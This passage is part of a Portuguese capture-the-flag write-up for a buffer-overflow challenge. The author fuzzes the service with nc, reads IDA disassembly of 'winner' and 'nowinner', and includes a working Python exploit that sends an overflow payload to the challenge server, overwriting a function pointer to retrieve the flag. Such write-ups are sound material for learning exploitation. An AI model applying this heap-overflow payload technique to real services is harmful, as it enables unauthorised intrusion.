0x8d1ff0, will be calling 0x401ed3 ``` Como o nome do desafio (BOF) sugeria buffer overflow enviei uma string bem grande para entender o que iria acontecer. ``` $ echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc localhost 8090 ``` Dessa vez o programa gerou um core dump indicando que ele tentou chamar uma função fora do espaço de endereçamento do executável e o log demonstra isso: ``` [+] Connection received from 127.0.0.1 [+] Client 127.0.0.1 sent payload Welcome to ZUP CTF, brought to you by Red'n'Blue Teams data is at 0x8d2040, fp is at 0x8d2090, will be calling 0x6161616161616161 Falha de segmentação (imagem do núcleo gravada) ``` Observe que o endereço da função chamada originalmente (0x401ed3) foi alterado para 0x6161616161616161. O valor 61 é o código hexadecimal da letra "a" o que indica que houve um buffer overflow que sobrescreve o endereço de retorno causando a falha de segmentação. A questão agora é conseguir apontar esse endereço para algo útil. Para isso usei o IDA para fazer o disassembly do código do executável e debugar. A idéia inicial era incluir no inicio da string um shell code para tentar abrir um shell na máquina, mas ao abrir o código no IDA percebi que o executável estava com informações de depuração (revelando o nome real das funções) achei duas rotinas bem sugestivas: `winner` e `nowinner`. Analisando a posição dessas rotinas a função `nowinner` estava na posição 0x401ED3 que era exatamente a posição impressa originalmente quando o buffer não foi estourado. Analisando o código dela ela imprime a mensagem `Try Harder!` que é retornada pelo servidor conforme listagem abaixo: ``` .text:0000000000401ED3 public nowinner .text:0000000000401ED3 nowinner proc near ; DATA XREF: heapBof+3C↓o .text:0000000000401ED3 endbr64 .text:0000000000401ED7 push rbp .text:0000000000401ED8 mov rbp, rsp .text:0000000000401EDB mov eax, cs:newSocket .text:0000000000401EE1 mov edx, 0Ch .text:0000000000401EE6 lea rsi, noflag ; "Try harder!" .text:0000000000401EED mov edi, eax .text:0000000000401EEF call write .text:0000000000401EF4 nop .text:0000000000401EF5 pop rbp .text:0000000000401EF6 retn .text:0000000000401EF6 nowinner endp ``` A função `winner` estava na posição 0x401EA5 do executável. E analisando código assembly dela verifiquei que ela imprime um arquivo chamado flag.txt. conforme a listagem abaixo: ``` .text:0000000000401EA5 public winner .text:0000000000401EA5 winner proc near .text:0000000000401EA5 endbr64 .text:0000000000401EA9 push rbp .text:0000000000401EAA mov rbp, rsp .text:0000000000401EAD mov eax, 0 .text:0000000000401EB2 call readFile .text:0000000000401EB7 mov eax, cs:newSocket .text:0000000000401EBD mov edx, 40h ; '@' .text:0000000000401EC2 lea rsi, FLAG .text:0000000000401EC9 mov edi, eax .text:0000000000401ECB call write .text:0000000000401ED0 nop .text:0000000000401ED1 pop rbp .text:0000000000401ED2 retn .text:0000000000401ED2 winner endp .text:0000000000401ED2 ``` O pulo do gato aqui é trocar o valor 0x401ED3 por 0x401EA5 e a flag será retornada pelo servidor. Após achar a string exata para fazer essa troca escrevi um script para executar isso no servidor remoto: ```python import socket HOST = "0.cloud.chals.io" # The server's hostname or IP address PORT = 10464 # The port used by the server with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) s.sendall(b"abcdefghijklmnopqrstuvwxyzABCDEFHIJKLMNOPQRSTUVWXYZaaabacadaeafagahaiajakalamana\xa5\x1e\x40") data = s.recv(1024) print(f"Received {data!r}") ``` Ao executar o script a flag `ZUP-CTF{34syh34p8uff3r0v3rfl0w}` é retornada pelo servidor: ``` $ python solve.py Received b'ZUP-CTF{34syh34p8uff3r0v3rfl0w}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ```